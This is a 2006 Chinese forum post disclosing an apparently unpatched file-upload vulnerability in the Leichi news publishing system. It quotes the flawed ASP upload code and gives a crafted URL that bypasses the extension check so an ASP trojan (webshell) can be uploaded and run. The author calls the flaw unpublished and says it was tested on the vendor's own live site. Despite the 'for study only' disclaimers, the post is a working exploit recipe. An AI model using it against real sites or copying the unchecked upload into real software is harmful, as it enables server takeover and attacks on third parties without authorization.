服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

zgldragon 发表于 2006-6-21 16:59:46

雷驰新闻发布管理系统漏洞分析

<SPAN class=tpc_content><FONT color=royalblue><FONT size=2>声明:漏洞为focn首先发现,而且还没有公布!最近在学ASP所以拿来分析了下写出来了!<BR>版权归漏洞发现者focn所有,转载请保持文章完整,并注明出处!<BR>本文章只做学习研究用,任何人用于其他非法用途本人不承担任何责任!<BR><BR><BR>系统:版本: 当前任何版本<BR>漏洞描述:1 在admin文件夹下的uploadPic.inc.asp中,没有对访问权限进行限制,任意用户都可<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 以 访问到此文件。任意用户都可以使用此文件上传文件到服务器<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2 uploadPic.inc.asp中虽然对上传文件的后缀名进行了限制但是可以绕过。请看代码!<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if file.FileSize&gt;0 then &nbsp; &nbsp; &nbsp; ''如果 FileSize &gt; 0 说明有文件数据 <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '生成图片名字<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if actionType= "mod" then<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remFileName = Right(picName,len(picName)-InstrRev(picName,"/"))<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if editRemNum&lt;&gt;"" then &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remNum = editRemNum<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Randomize<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remNum = Int((999 - 1 + 1) * Rnd + 1)&amp;day(date)&amp;month(date)&amp;year(date)&amp;hour(time)&amp;minute(time)&amp;second(time)<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end if<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remFileName = remNum&amp;"_"&amp;(editImageNum+1)&amp;".gif"<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end if<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; file.SaveAs Server.mappath(formPath&amp;remFileName) &nbsp; ''保存文件 <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR>%&gt;<BR><BR><BR>关键的是 if actionType= "mod" then<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remFileName = Right(picName,len(picName)-InstrRev(picName,"/"))<BR>只要自己构造actionType= "mod" 就可以饶过下面的文件名检测上传ASP文件<BR>构造如下UPL<BR></FONT><FONT color=#0000ff size=2>http://localhost/leichinews/admin/uploadPic.asp?actionType=mod&amp;picName=test.asp</FONT><BR><FONT size=2>然后在上传文件里面填要传的图片格式的ASP木马<BR>就可以在uppic目录下上传文件名为test.asp的文件<BR><BR>本方法在雷驰官方网站上测试通过!·<BR>再次希望大家不要用于非法用途!!</FONT></FONT></SPAN><BR>
页: [1]
查看完整版本: 雷驰新闻发布管理系统漏洞分析